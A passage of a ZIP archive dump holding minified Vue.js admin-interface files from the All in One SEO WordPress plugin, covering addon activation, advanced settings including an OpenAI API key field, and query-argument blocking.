")]),a("span",null,[a("a",{class:"delete",href:"#",onClick:C(x=>i.maybeProcessDelete(p.url),["prevent","stop"])},[a("span",null,l(e.strings.delete),1)],8,Le)])])]),"edit-row":r(({index:p,editRow:d})=>[n(k,{index:p,rowPage:i.rowPage(p),editedPage:e.editedPage,getPaginatedIndex:i.getPaginatedIndex,getParsedPages:i.getParsedPages,inTable:"",onCancel:U=>d(null),onProcessPageAddAndUpdate:i.processPageAddAndUpdate,onProcessPageEdit:i.processPageEdit},null,8,["index","rowPage","editedPage","getPaginatedIndex","getParsedPages","onCancel","onProcessPageAddAndUpdate","onProcessPageEdit"])]),"page-actions":r(({row:p})=>[a("div",Ue,[n(P,{type:"action"},{tooltip:r(()=>[g(l(e.strings.delete),1)]),default:r(()=>[n(A,{onClick:d=>i.maybeProcessDelete(p.url)},null,8,["onClick"])]),_:2},1024)])]),_:1},8,["id","bulk-options","columns","initial-items-per-page","initial-page-number","loading","rows","search-label","totals","onPaginate","onProcessBulkAction","onProcessChangeItemsPerPage","onSearch","onSortColumn"])),n(L,{show:e.showDeleteModal,"no-header":"",onClose:s[3]||(s[3]=p=>e.showDeleteModal=!1),classes:["aioseo-additional-pages-modal"]},{body:r(()=>[a("div",Re,[a("button",{class:"close",onClick:s[1]||(s[1]=C(p=>e.showDeleteModal=!1,["stop"]))}),a("h3",null,l(i.areYouSureDeleteLink),1),a("div",xe,l(e.strings.thisWillRemoveLink),1),n(b,{type:"blue",size:"medium",onClick:i.processPageDelete,loading:e.deletingRow},{default:r(()=>[g(l(i.yesDeleteLink),1)]),_:1},8,["onClick","loading"]),n(b,{type:"gray",size:"medium",onClick:s[2]||(s[2]=p=>e.showDeleteModal=!1)},{default:r(()=>[g(l(e.strings.noChangedMind),1)]),_:1})])]),_:1},8,["show"])])]),_:1},8,["toggles"])):h("",!0)}const ot=q(ke,[["render",Te]]);export{ot as default}; PKÉ—[´vÝ_ÙÙCall-in-one-seo-pack/dist/Lite/assets/js/AddonConditions.CQeNF7DC.jsnu„[µü¤import{c as f,o as S,u as v,f as u}from"./links.CKSg78-h.js";import{a as n}from"./addons.Bhqo_sme.js";import{C as _}from"./Caret.Cuasz9Up.js";import{C as A}from"./Index.Ck0NNxBQ.js";import{y as c,o as g,l as h,m as o,E as r,t as s,d as b,D as x}from"./vue.esm-bundler.DzelZkHk.js";import{_ as y}from"./_plugin-vue_export-helper.BN1snXvA.js";const k={setup(){return{addonsStore:f(),pluginsStore:S(),rootStore:v()}},emits:["addon-activated"],components:{CoreAlert:_,Cta:A},props:{addonSlug:{type:String,required:!0},featureList:{type:Array,default:()=>[]},postActivationPromises:{type:Array,default:()=>[]},ctaButtonText:String,ctaHeader:String,ctaDescription:String,learnMoreText:String,learnMoreLink:String,alignTop:Boolean,preventGlobalAddonUpdate:Boolean},data(){return{addons:n,strings:{activateError:this.$t.__("An error occurred while activating the addon. Please upload it manually or contact support for more information.",this.$td),permissionWarning:this.$t.__("You currently don't have permission to activate this addon. Please ask a site administrator to activate first.",this.$td)},failed:!1,activationLoading:!1}},methods:{activateAddon(){this.failed=!1,this.activationLoading=!0;const e=n.getAddon(this.addonSlug);this.pluginsStore.installPlugins([{plugin:e.basename}]).then(d=>{if(d.body.failed.length){this.activationLoading=!1,this.failed=!0;return}const t=this.postActivationPromises.map(a=>a());Promise.all(t).then(()=>{this.preventGlobalAddonUpdate||(this.activationLoading=!1,e.hasMinimumVersion=!0,e.isActive=!0,this.addonsStore.updateAddon(e))}).then(()=>{this.$emit("addon-activated",e)})}).catch(()=>{this.activationLoading=!1})}}};function L(e,d,t,a,i,m){const l=c("core-alert"),p=c("cta");return g(),h(p,{"cta-button-visible":i.addons.userCanInstallOrActivate(t.addonSlug),"cta-button-visible-warning":i.strings.permissionWarning,"cta-link":`${a.rootStore.aioseo.urls.aio.featureManager}&aioseo-activate=${t.addonSlug}`,"cta-button-action":"","cta-button-loading":i.activationLoading,onCtaButtonClick:m.activateAddon,"same-tab":"","button-text":t.ctaButtonText,"learn-more-link":t.learnMoreLink,"feature-list":t.featureList,"align-top":t.alignTop,"hide-bonus":""},{"header-text":o(()=>[r(s(t.ctaHeader),1)]),description:o(()=>[i.failed?(g(),h(l,{key:0,type:"red"},{default:o(()=>[r(s(i.strings.activateError),1)]),_:1})):b("",!0),r(" "+s(t.ctaDescription),1)]),"learn-more-text":o(()=>[r(s(t.learnMoreText),1)]),_:1},8,["cta-button-visible","cta-button-visible-warning","cta-link","cta-button-loading","onCtaButtonClick","button-text","learn-more-link","feature-list","align-top"])}const C=y(k,[["render",L]]),U={setup(){return{addonsStore:f(),pluginsStore:S(),rootStore:v()}},emits:["addon-activated"],components:{CoreAlert:_,Cta:A},props:{addonSlug:{type:String,required:!0},featureList:{type:Array,default:()=>[]},postActivationPromises:{type:Array,default:()=>[]},addonName:String,installedVersion:String,minimumVersion:String,ctaButtonText:String,ctaHeader:String,ctaDescription:String,learnMoreText:String,learnMoreLink:String,alignTop:Boolean,preventGlobalAddonUpdate:Boolean},data(){return{addons:n,strings:{activateError:this.$t.__("An error occurred while activating the addon. Please upload it manually or contact support for more information.",this.$td),permissionWarning:this.$t.__("You currently don't have permission to activate this addon. Please ask a site administrator to activate first.",this.$td),updateRequired:this.$t.sprintf(this.$t.__("This addon requires an update. %1$s %2$s requires a minimum version of %3$s for the %4$s addon. You currently have %5$s installed.",this.$td),"AIOSEO","Pro",n.getAddon(this.addonSlug).minimumVersion,n.getAddon(this.addonSlug).name,n.getAddon(this.addonSlug).installedVersion)},failed:!1,activationLoading:!1}},methods:{upgradeAddon(){this.failed=!1,this.activationLoading=!0;const e=n.getAddon(this.addonSlug);this.pluginsStore.upgradePlugins([{plugin:e.sku}]).then(d=>{if(d.body.failed.length){this.activationLoading=!1,this.failed=!0;return}const t=this.postActivationPromises.map(a=>a());Promise.all(t).then(()=>{if(this.preventGlobalAddonUpdate)return;const a=d.body.completed[e.sku];this.activationLoading=!1,e.hasMinimumVersion=!0,e.isActive=!0,e.installedVersion=a.installedVersion,this.addonsStore.updateAddon(e)}).then(()=>{this.$emit("addon-activated",e)})}).catch(()=>{this.activationLoading=!1})}}};function M(e,d,t,a,i,m){const l=c("core-alert"),p=c("cta");return g(),h(p,{"cta-button-visible":i.addons.userCanUpdate(t.addonSlug),"cta-button-visible-warning":i.strings.permissionWarning,"cta-link":`${a.rootStore.aioseo.urls.aio.featureManager}&aioseo-activate=${t.addonSlug}`,"cta-button-action":"","cta-button-loading":i.activationLoading,onCtaButtonClick:m.upgradeAddon,"same-tab":"","button-text":t.ctaButtonText,"learn-more-link":t.learnMoreLink,"feature-list":t.featureList,"align-top":t.alignTop,"hide-bonus":""},{"header-text":o(()=>[r(s(t.ctaHeader),1)]),description:o(()=>[x(l,{type:"yellow"},{default:o(()=>[r(s(i.strings.updateRequired),1)]),_:1}),i.failed?(g(),h(l,{key:0,type:"red"},{default:o(()=>[r(s(i.strings.activateError),1)]),_:1})):b("",!0),r(" "+s(t.ctaDescription),1)]),"learn-more-text":o(()=>[r(s(t.learnMoreText),1)]),_:1},8,["cta-button-visible","cta-button-visible-warning","cta-link","cta-button-loading","onCtaButtonClick","button-text","learn-more-link","feature-list","align-top"])}const P=y(U,[["render",M]]),E={computed:{ctaComponent(){return this.shouldShowUpdate?P:C},shouldShowMain(){return!u().isUnlicensed&&n.isActive(this.addonSlug)&&!n.requiresUpgrade(this.addonSlug)&&n.hasMinimumVersion(this.addonSlug)},shouldShowActivate(){return!u().isUnlicensed&&!n.isActive(this.addonSlug)&&n.canActivate(this.addonSlug)&&!n.requiresUpgrade(this.addonSlug)&&(n.hasMinimumVersion(this.addonSlug)||!n.isInstalled(this.addonSlug))},shouldShowUpdate(){return!u().isUnlicensed&&n.isInstalled(this.addonSlug)&&!n.requiresUpgrade(this.addonSlug)&&!n.hasMinimumVersion(this.addonSlug)},shouldShowLite(){return u().isUnlicensed||n.requiresUpgrade(this.addonSlug)}}};export{E as A}; PKÉ—[ÝÚñFF:all-in-one-seo-pack/dist/Lite/assets/js/addons.Bhqo_sme.jsnu„[µü¤import{c as a}from"./links.CKSg78-h.js";import{u as c}from"./upperFirst.Cx8cdEgZ.js";const s=t=>{const n=a();return n.addons.length?n.addons.find(r=>t===r.sku):null},u=t=>{const n=s(t);return n&&n.isActive},i=t=>{const n=s(t);return n&&n.installed},l=t=>{const n=s(t);return!n||n.requiresUpgrade},d=t=>{const n=s(t);return n&&!n.isActive},o=t=>{const n=s(t);return n&&n.installed&&!n.isActive&&n.canActivate},e=t=>{const n=s(t);return n&&!n.installed&&n.canInstall},p=t=>e(t)||o(t),m=t=>{const n=s(t);return n&&n.canUpdate},A=t=>{const n=s(t);return n?n.currentLevels.map(r=>c(r)):null},_=t=>{const n=s(t);return n&&n.hasMinimumVersion},g={canActivate:d,currentPlans:A,getAddon:s,hasMinimumVersion:_,isActive:u,isInstalled:i,requiresUpgrade:l,userCanActivate:o,userCanInstall:e,userCanInstallOrActivate:p,userCanUpdate:m};export{g as a}; PKÉ—[ó´õ––;all-in-one-seo-pack/dist/Lite/assets/js/AddPlus.VKUoEtMj.jsnu„[µü¤import{o as n,c as o,a as t}from"./vue.esm-bundler.DzelZkHk.js";import{_ as e}from"./_plugin-vue_export-helper.BN1snXvA.js";const r={},s={viewBox:"0 0 14 14",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-add-plus"},c=t("path",{"fill-rule":"evenodd","clip-rule":"evenodd",d:"M4.66675 1.16669H11.6667C12.3084 1.16669 12.8334 1.69169 12.8334 2.33335V9.33335C12.8334 9.97502 12.3084 10.5 11.6667 10.5H4.66675C4.02508 10.5 3.50008 9.97502 3.50008 9.33335V2.33335C3.50008 1.69169 4.02508 1.16669 4.66675 1.16669ZM1.16675 3.50002H2.33341V11.6667H10.5001V12.8334H2.33341C1.69175 12.8334 1.16675 12.3084 1.16675 11.6667V3.50002ZM11.6667 9.33335H4.66675V2.33335H11.6667V9.33335ZM8.75008 8.75002H7.58341V6.41669H5.25008V5.25002H7.58341V2.91669H8.75008V5.25002H11.0834V6.41669H8.75008V8.75002Z",fill:"currentColor"},null,-1),l=[c];function a(u,i){return n(),o("svg",s,l)}const f=e(r,[["render",a]]);export{f as S}; PKÉ—[“3 : :<all-in-one-seo-pack/dist/Lite/assets/js/Advanced.BXhPCBjq.jsnu„[µü¤import{f as V,a as B,u as D}from"./links.CKSg78-h.js";import{v as I}from"./isArrayLikeObject.CkjpbQo7.js";import{B as x}from"./Checkbox.CfGJSeWE.js";import{B as G}from"./RadioToggle.XiBFFWmC.js";import{C as E}from"./Caret.Cuasz9Up.js";import{C as K}from"./Card.C6Yzm1Gr.js";import{C as P}from"./PostTypeOptions.CpDFp6IT.js";import{C as N}from"./ProBadge.Dgq0taM8.js";import{C as R}from"./SettingsRow.B0N4hwjp.js";import{C as W}from"./Tooltip.DcUmvaHX.js";import{G as z,a as H}from"./Row.ou4tdPuA.js";import{a as Y}from"./index.DX4OhBfI.js";import{y as p,c as y,D as n,m as s,o as l,a as r,t as i,E as h,l as u,d,F as q,L as F}from"./vue.esm-bundler.DzelZkHk.js";import{_ as j}from"./_plugin-vue_export-helper.BN1snXvA.js";import"./default-i18n.BtxsUzQk.js";import"./Checkmark.Du5wcsnR.js";import"./Slide.BfXXFx9A.js";import"./HighlightToggle.BLZDQLdT.js";import"./PostTypes.Cef6XkQ_.js";const Q={setup(){return{licenseStore:V(),optionsStore:B(),rootStore:D()}},components:{BaseCheckbox:x,BaseRadioToggle:G,CoreAlert:E,CoreCard:K,CorePostTypeOptions:P,CoreProBadge:N,CoreSettingsRow:R,CoreTooltip:W,GridColumn:z,GridRow:H,SvgCircleQuestionMark:Y},data(){return{openAiKeyInvalid:!1,strings:{advanced:this.$t.__("Advanced Settings",this.$td),truSeo:this.$t.__("TruSEO Score & Content",this.$td),truSeoDescription:this.$t.__("Enable our TruSEO score to help you optimize your content for maximum traffic.",this.$td),headlineAnalyzer:this.$t.__("Headline Analyzer",this.$td),headlineAnalyzerDescription:this.$t.__("Enable our Headline Analyzer to help you write irresistible headlines and rank better in search results.",this.$td),seoAnalysis:this.$t.__("SEO Analysis",this.$td),postTypeColumns:this.$t.__("Post Type Columns",this.$td),includeAllPostTypes:this.$t.__("Include All Post Types",this.$td),selectPostTypes:this.$t.sprintf(this.$t.__("Select which Post Types you want to use the %1$s columns with.",this.$td),"AIOSEO"),usageTracking:this.$t.__("Usage Tracking",this.$td),adminBarMenu:this.$t.__("Admin Bar Menu",this.$td),adminBarMenuDescription:this.$t.sprintf(this.$t.__("This adds %1$s to the admin toolbar for easy access to your SEO settings.",this.$td),"AIOSEO"),dashboardWidgets:this.$t.__("Dashboard Widgets",this.$td),dashboardWidgetsDescription:this.$t.sprintf(this.$t.__("Select which %1$s widgets to display on the dashboard.",this.$td),"AIOSEO"),announcements:this.$t.__("Announcements",this.$td),announcementsDescription:this.$t.__("This allows you to hide plugin announcements and update details in the Notification Center.",this.$td),automaticUpdates:this.$t.__("Automatic Updates",this.$td),all:this.$t.__("All (recommended)",this.$td),allDescription:this.$t.__("You are getting the latest features, bugfixes, and security updates as they are released.",this.$td),minor:this.$t.__("Minor Only",this.$td),minorDescription:this.$t.__("You are getting bugfixes and security updates, but not major features.",this.$td),none:this.$t.__("None",this.$td),noneDescription:this.$t.__("You will need to manually update everything.",this.$td),usageTrackingDescription:this.$t.__("By allowing us to track usage data we can better help you as we will know which WordPress configurations, themes and plugins we should test.",this.$td),usageTrackingTooltip:this.$t.sprintf(this.$t.__("Complete documentation on usage tracking is available %1$shere%2$s.",this.$td),this.$t.sprintf('',this.$links.getDocUrl("usageTracking")),""),adminBarMenuUpsell:this.$t.sprintf(this.$t.__("Admin Bar Menu is a %1$s feature. %2$s",this.$td),"PRO",this.$links.getUpsellLink("general-settings-advanced",this.$constants.GLOBAL_STRINGS.learnMore,"admin-bar-menu",!0)),dashboardWidgetsUpsell:this.$t.sprintf(this.$t.__("Dashboard Widgets is a %1$s feature. %2$s",this.$td),"PRO",this.$links.getUpsellLink("general-settings-advanced",this.$constants.GLOBAL_STRINGS.learnMore,"dashboard-widget",!0)),taxonomyColumns:this.$t.__("Taxonomy Columns",this.$td),includeAllTaxonomies:this.$t.__("Include All Taxonomies",this.$td),selectTaxonomies:this.$t.sprintf(this.$t.__("Select which Taxonomies you want to use the %1$s columns with.",this.$td),"AIOSEO"),taxonomyColumnsUpsell:this.$t.sprintf(this.$t.__("Taxonomy Columns is a %1$s feature. %2$s",this.$td),"PRO",this.$links.getUpsellLink("general-settings-advanced",this.$constants.GLOBAL_STRINGS.learnMore,"taxonomy-columns",!0)),uninstallAioseo:this.$t.sprintf(this.$t.__("Uninstall %1$s",this.$td),"AIOSEO"),uninstallAioseoDescription:this.$t.sprintf(this.$t.__("Check this if you would like to remove ALL %1$s data upon plugin deletion. All settings and SEO data will be unrecoverable.",this.$td),"AIOSEO"),openAiKey:this.$t.__("OpenAI API Key",this.$td),openAiKeyDescription:this.$t.sprintf(this.$t.__("Enter an OpenAI API key in order to automatically generate SEO titles and meta descriptions for your pages. %1$s",this.$td),this.$links.getDocLink(this.$constants.GLOBAL_STRINGS.learnMore,"openAi",!0)),openAiKeyUpsell:this.$t.sprintf(this.$t.__("OpenAI Integration is a %1$s feature. %2$s",this.$td),"PRO",this.$links.getUpsellLink("general-settings-advanced",this.$constants.GLOBAL_STRINGS.learnMore,"open-ai",!0)),openAiKeyInvalid:this.$t.__("The API key you have entered is invalid. Please check your API key and try again.",this.$td)}}},computed:{adminBarMenu:{get(){return this.licenseStore.isUnlicensed?!0:this.optionsStore.options.advanced.adminBarMenu},set(c){this.optionsStore.options.advanced.adminBarMenu=c}},widgets(){return[{key:"seoSetup",label:this.$t.__("SEO Setup Wizard",this.$td),tooltip:this.$t.__("Our SEO Setup Wizard dashboard widget helps you remember to finish setting up some initial crucial settings for your site to help you rank higher in search results. Once the setup wizard is completed this widget will automatically disappear.",this.$td)},{key:"seoOverview",label:this.$t.__("SEO Overview",this.$td),tooltip:this.$t.__("Our SEO Overview widget helps you determine which posts or pages you should focus on for content updates to help you rank higher in search results.",this.$td)},{key:"seoNews",label:this.$t.__("SEO News",this.$td),tooltip:this.$t.__("Our SEO News widget provides helpful links that enable you to get the most out of your SEO and help you continue to rank higher than your competitors in search results.",this.$td)}]}},methods:{versionCompare:I,updateDashboardWidgets(c,a){if(c){const e=this.optionsStore.options.advanced.dashboardWidgets;e.push(a.key),this.optionsStore.options.advanced.dashboardWidgets=e;return}const A=this.optionsStore.options.advanced.dashboardWidgets.findIndex(e=>e===a.key);A!==-1&&this.optionsStore.options.advanced.dashboardWidgets.splice(A,1)},isDashboardWidgetChecked(c){return this.licenseStore.isUnlicensed?!0:this.optionsStore.options.advanced.dashboardWidgets.includes(c.key)},validateOpenAiKey(){this.optionsStore.options.advanced.openAiKey&&this.optionsStore.options.advanced.openAiKey.match(/^sk-[a-zA-Z0-9]{48}$/)===null?this.openAiKeyInvalid=!0:this.openAiKeyInvalid=!1}},beforeMount(){this.validateOpenAiKey()}},Z={class:"aioseo-advanced"},J={class:"aioseo-description"},X={class:"aioseo-description"},ee={class:"aioseo-description"},te=["innerHTML"],se={class:"aioseo-description"},ne=["innerHTML"],oe=["innerHTML"],ie={class:"aioseo-description"},ae=["innerHTML"],le={class:"aioseo-description"},re=["innerHTML"],de={class:"aioseo-description"},ce={class:"aioseo-description"},ue={key:0},pe={key:1},he={key:2},me=["innerHTML"],_e={class:"aioseo-description"},ge=["innerHTML"],ye=["innerHTML"],Se={class:"aioseo-description"};function ve(c,a,A,e,t,_){const S=p("base-toggle"),m=p("core-settings-row"),v=p("base-checkbox"),b=p("core-post-type-options"),f=p("core-pro-badge"),g=p("core-alert"),k=p("base-radio-toggle"),T=p("svg-circle-question-mark"),O=p("core-tooltip"),$=p("grid-column"),U=p("grid-row"),L=p("base-input"),w=p("core-card");return l(),y("div",Z,[n(w,{slug:"advanced","header-text":t.strings.advanced},{default:s(()=>[n(m,{name:t.strings.truSeo},{content:s(()=>[n(S,{modelValue:e.optionsStore.options.advanced.truSeo,"onUpdate:modelValue":a[0]||(a[0]=o=>e.optionsStore.options.advanced.truSeo=o)},null,8,["modelValue"]),r("div",J,i(t.strings.truSeoDescription),1)]),_:1},8,["name"]),n(m,{name:t.strings.headlineAnalyzer},{content:s(()=>[n(S,{modelValue:e.optionsStore.options.advanced.headlineAnalyzer,"onUpdate:modelValue":a[1]||(a[1]=o=>e.optionsStore.options.advanced.headlineAnalyzer=o)},null,8,["modelValue"]),r("div",X,i(t.strings.headlineAnalyzerDescription),1)]),_:1},8,["name"]),n(m,{name:t.strings.postTypeColumns},{content:s(()=>[n(v,{size:"medium",modelValue:e.optionsStore.options.advanced.postTypes.all,"onUpdate:modelValue":a[2]||(a[2]=o=>e.optionsStore.options.advanced.postTypes.all=o)},{default:s(()=>[h(i(t.strings.includeAllPostTypes),1)]),_:1},8,["modelValue"]),e.optionsStore.options.advanced.postTypes.all?d("",!0):(l(),u(b,{key:0,options:e.optionsStore.options.advanced,type:"postTypes"},null,8,["options"])),r("div",ee,[h(i(t.strings.selectPostTypes)+" ",1),r("span",{innerHTML:c.$links.getDocLink(c.$constants.GLOBAL_STRINGS.learnMore,"selectPostTypesColumns",!0)},null,8,te)])]),_:1},8,["name"]),n(m,null,{name:s(()=>[h(i(t.strings.taxonomyColumns)+" ",1),e.licenseStore.isUnlicensed?(l(),u(f,{key:0})):d("",!0)]),content:s(()=>[e.licenseStore.isUnlicensed?(l(),u(v,{key:0,disabled:"",size:"medium",modelValue:!0},{default:s(()=>[h(i(t.strings.includeAllTaxonomies),1)]),_:1})):d("",!0),e.licenseStore.isUnlicensed?d("",!0):(l(),u(v,{key:1,size:"medium",modelValue:e.optionsStore.options.advanced.taxonomies.all,"onUpdate:modelValue":a[3]||(a[3]=o=>e.optionsStore.options.advanced.taxonomies.all=o)},{default:s(()=>[h(i(t.strings.includeAllTaxonomies),1)]),_:1},8,["modelValue"])),!e.optionsStore.options.advanced.taxonomies.all&&!e.licenseStore.isUnlicensed?(l(),u(b,{key:2,options:e.optionsStore.options.advanced,type:"taxonomies"},null,8,["options"])):d("",!0),r("div",se,[h(i(t.strings.selectTaxonomies)+" ",1),r("span",{innerHTML:c.$links.getDocLink(c.$constants.GLOBAL_STRINGS.learnMore,"selectTaxonomiesColumns",!0)},null,8,ne)]),e.licenseStore.isUnlicensed?(l(),u(g,{key:3,class:"inline-upsell",type:"blue"},{default:s(()=>[r("div",{innerHTML:t.strings.taxonomyColumnsUpsell},null,8,oe)]),_:1})):d("",!0)]),_:1}),n(m,null,{name:s(()=>[h(i(t.strings.adminBarMenu)+" ",1),e.licenseStore.isUnlicensed?(l(),u(f,{key:0})):d("",!0)]),content:s(()=>[n(k,{disabled:e.licenseStore.isUnlicensed,modelValue:_.adminBarMenu,"onUpdate:modelValue":a[4]||(a[4]=o=>_.adminBarMenu=o),name:"adminBarMenu",options:[{label:c.$constants.GLOBAL_STRINGS.hide,value:!1,activeClass:"dark"},{label:c.$constants.GLOBAL_STRINGS.show,value:!0}]},null,8,["disabled","modelValue","options"]),r("div",ie,i(t.strings.adminBarMenuDescription),1),e.licenseStore.isUnlicensed?(l(),u(g,{key:0,class:"inline-upsell",type:"blue"},{default:s(()=>[r("div",{innerHTML:t.strings.adminBarMenuUpsell},null,8,ae)]),_:1})):d("",!0)]),_:1}),n(m,null,{name:s(()=>[h(i(t.strings.dashboardWidgets)+" ",1),e.licenseStore.isUnlicensed?(l(),u(f,{key:0})):d("",!0)]),content:s(()=>[n(U,null,{default:s(()=>[(l(!0),y(q,null,F(_.widgets,(o,C)=>(l(),u($,{key:C},{default:s(()=>[n(v,{size:"medium",disabled:e.licenseStore.isUnlicensed,modelValue:_.isDashboardWidgetChecked(o),"onUpdate:modelValue":M=>_.updateDashboardWidgets(M,o)},{default:s(()=>[h(i(o.label)+" ",1),n(O,null,{tooltip:s(()=>[h(i(o.tooltip),1)]),default:s(()=>[n(T)]),_:2},1024)]),_:2},1032,["disabled","modelValue","onUpdate:modelValue"])]),_:2},1024))),128))]),_:1}),r("div",le,i(t.strings.dashboardWidgetsDescription),1),e.licenseStore.isUnlicensed?(l(),u(g,{key:0,class:"inline-upsell",type:"blue"},{default:s(()=>[r("div",{innerHTML:t.strings.dashboardWidgetsUpsell},null,8,re)]),_:1})):d("",!0)]),_:1}),n(m,{name:t.strings.announcements},{content:s(()=>[n(k,{modelValue:e.optionsStore.options.advanced.announcements,"onUpdate:modelValue":a[5]||(a[5]=o=>e.optionsStore.options.advanced.announcements=o),name:"announcements",options:[{label:c.$constants.GLOBAL_STRINGS.hide,value:!1,activeClass:"dark"},{label:c.$constants.GLOBAL_STRINGS.show,value:!0}]},null,8,["modelValue","options"]),r("div",de,i(t.strings.announcementsDescription),1)]),_:1},8,["name"]),n(m,null,{name:s(()=>[h(i(t.strings.automaticUpdates),1)]),content:s(()=>[n(k,{modelValue:e.optionsStore.options.advanced.autoUpdates,"onUpdate:modelValue":a[6]||(a[6]=o=>e.optionsStore.options.advanced.autoUpdates=o),name:"autoUpdates",options:[{label:t.strings.all,value:"all"},{label:t.strings.minor,value:"minor"},{label:t.strings.none,value:"none",activeClass:"dark"}]},null,8,["modelValue","options"]),r("div",ce,[e.optionsStore.options.advanced.autoUpdates==="all"?(l(),y("span",ue,i(t.strings.allDescription),1)):d("",!0),e.optionsStore.options.advanced.autoUpdates==="minor"?(l(),y("span",pe,i(t.strings.minorDescription),1)):d("",!0),e.optionsStore.options.advanced.autoUpdates==="none"?(l(),y("span",he,i(t.strings.noneDescription),1)):d("",!0)])]),_:1}),c.$isPro?d("",!0):(l(),u(m,{key:0},{name:s(()=>[h(i(t.strings.usageTracking)+" ",1),n(O,null,{tooltip:s(()=>[r("div",{innerHTML:t.strings.usageTrackingTooltip},null,8,me)]),default:s(()=>[n(T)]),_:1})]),content:s(()=>[n(S,{modelValue:e.optionsStore.options.advanced.usageTracking,"onUpdate:modelValue":a[7]||(a[7]=o=>e.optionsStore.options.advanced.usageTracking=o)},null,8,["modelValue"]),r("div",_e,i(t.strings.usageTrackingDescription),1)]),_:1})),n(m,{id:"aioseo-open-ai-api-key",name:t.strings.openAiKey},{name:s(()=>[h(i(t.strings.openAiKey)+" ",1),e.licenseStore.isUnlicensed?(l(),u(f,{key:0})):d("",!0)]),content:s(()=>[n(L,{class:"openAiKey",type:"text",size:"medium",modelValue:e.optionsStore.options.advanced.openAiKey,"onUpdate:modelValue":a[8]||(a[8]=o=>e.optionsStore.options.advanced.openAiKey=o),disabled:e.licenseStore.isUnlicensed,onBlur:_.validateOpenAiKey},null,8,["modelValue","disabled","onBlur"]),r("div",{class:"aioseo-description",innerHTML:t.strings.openAiKeyDescription},null,8,ge),!e.licenseStore.isUnlicensed&&e.optionsStore.options.advanced.openAiKey&&t.openAiKeyInvalid?(l(),u(g,{key:0,class:"inline-upsell",type:"red"},{default:s(()=>[r("div",null,i(t.strings.openAiKeyInvalid),1)]),_:1})):d("",!0),e.licenseStore.isUnlicensed?(l(),u(g,{key:1,class:"inline-upsell",type:"blue"},{default:s(()=>[r("div",{innerHTML:t.strings.openAiKeyUpsell},null,8,ye)]),_:1})):d("",!0)]),_:1},8,["name"]),n(m,{name:t.strings.uninstallAioseo},{content:s(()=>[n(S,{modelValue:e.optionsStore.options.advanced.uninstall,"onUpdate:modelValue":a[9]||(a[9]=o=>e.optionsStore.options.advanced.uninstall=o)},null,8,["modelValue"]),r("div",Se,i(t.strings.uninstallAioseoDescription),1)]),_:1},8,["name"])]),_:1},8,["header-text"])])}const Ke=j(Q,[["render",ve]]);export{Ke as default}; PKÉ—[p: ñ¶ñ¶<all-in-one-seo-pack/dist/Lite/assets/js/Advanced.Dz2MsfwG.jsnu„[µü¤import{s as T,F,a as G,e as q,u as K}from"./links.CKSg78-h.js";import{J as H}from"./JsonValues.D25FTfEu.js";import{B as E}from"./Checkbox.CfGJSeWE.js";import{B as W}from"./RadioToggle.XiBFFWmC.js";import{a as x,b as Y}from"./index.DX4OhBfI.js";import{C as B,S as z,d as J}from"./Caret.Cuasz9Up.js";import{C as O}from"./Card.C6Yzm1Gr.js";import{C as j}from"./ExcludePosts.FxL6R7pT.js";import{C as X}from"./HtmlTagsEditor.DRjNQQYX.js";import{C as Z}from"./PostTypeOptions.CpDFp6IT.js";import{C as ee}from"./RobotsMeta.DjWj_HSz.js";import{C as se}from"./SettingsRow.B0N4hwjp.js";import{C as Q}from"./Tooltip.DcUmvaHX.js";import{S as te}from"./External.bx7ZSfw_.js";import{a as $}from"./strings.gPxlDykU.js";import{i as oe}from"./regex.C2CBDGQi.js";import{S as ne}from"./Plus.CShy191p.js";import{y as p,o as d,c as f,D as n,m as i,a as r,t as a,l as _,d as u,E as g,F as ie,L as ae,H as V}from"./vue.esm-bundler.DzelZkHk.js";import{_ as D}from"./_plugin-vue_export-helper.BN1snXvA.js";import{C as re}from"./Index.6gbvf_mk.js";import{C as le}from"./Table.B2KnjpXq.js";import{D as de}from"./Date.Bc79vv_Y.js";import"./default-i18n.BtxsUzQk.js";import"./isArrayLikeObject.CkjpbQo7.js";import"./Checkmark.Du5wcsnR.js";import"./Slide.BfXXFx9A.js";import"./AddPlus.VKUoEtMj.js";import"./tags.BOsOOXAU.js";import"./Editor.lV8823Bb.js";import"./UnfilteredHtml.D-19NKqQ.js";import"./HighlightToggle.BLZDQLdT.js";import"./Row.ou4tdPuA.js";import"./PostTypes.Cef6XkQ_.js";import"./isString.Dmb68Xbt.js";import"./numbers.ursUutt1.js";import"./constants.DARe-ccJ.js";const ce={emits:["blockArgAdded"],components:{CoreAlert:B,CoreCard:O,SvgCirclePlus:ne},data(){return{strings:{blockQuery:this.$t.__("Block Query Arg",this.$td),delete:this.$t.__("Delete",this.$td),add:this.$t.__("Block Query Arg",this.$td),regex:this.$t.__("Regex",this.$td),selectAValue:this.$t.__("Select a Value or Add a New One",this.$td),key:this.$t.__("Key",this.$td),value:this.$t.__("Enter one or multiple values",this.$td),createValue:this.$t.__("Press enter to create a value",this.$td),invalidRegex:this.$t.__("The regex syntax is invalid.",this.$td)},key:null,regex:!1,regexValue:null,isRegexValid:!0,valuesList:[],warnings:[]}},computed:{allowedAddQuery(){return this.regex?this.regexValue&&this.isRegexValid:this.key}},methods:{getSlug(e){if(this.regex)return this.regexValue;let t="?"+this.key;return e&&(t+="="+e),t},addQuery(){const e=[];this.regex?e.push({slug:this.getSlug(),key:null,value:null,regex:this.regexValue}):this.valuesList.length!==0?this.valuesList.forEach(t=>{e.push({slug:this.getSlug(t.value),key:this.key,value:t.value,regex:null})}):e.push({slug:this.getSlug(),key:this.key,value:null,regex:null}),T.post(F.restUrl("crawl-cleanup/block/")).send(e).then(t=>{const b=t.body;this.regex||(this.key=null,this.valuesList=[],b.success===!1&&b.exists&&b.exists.forEach(o=>{this.key=o.key,this.valuesList.push({label:o.value,value:o.value})})),this.regex&&b.success===!0&&(this.regexValue=null),window.aioseoBus.$emit("blockArgAdded",t)})},testRegex(){const e=[];return this.isRegexValid=oe(this.regexValue),this.regexValue=this.regexValue===""?null:this.regexValue,this.regex&&this.regexValue!==null&&(this.regexValue.indexOf("^")===-1&&this.regexValue.indexOf("$")===-1&&e.push(this.$t.sprintf(this.$t.__("To prevent a greedy regular expression you can use %1$s to anchor it to the start of the Query Arg. For example: %2$s",this.$td),"^/","^"+$(this.regexValue.replace(/^\//,""))+"")),0^","^"+$(this.regexValue.replace("^","").replace(/^\//,""))+"")),this.regexValue.length-1!==this.regexValue.indexOf("$")&&this.regexValue.indexOf("$")!==-1&&e.push(this.$t.sprintf(this.$t.__("The dollar symbol %1$s should be at 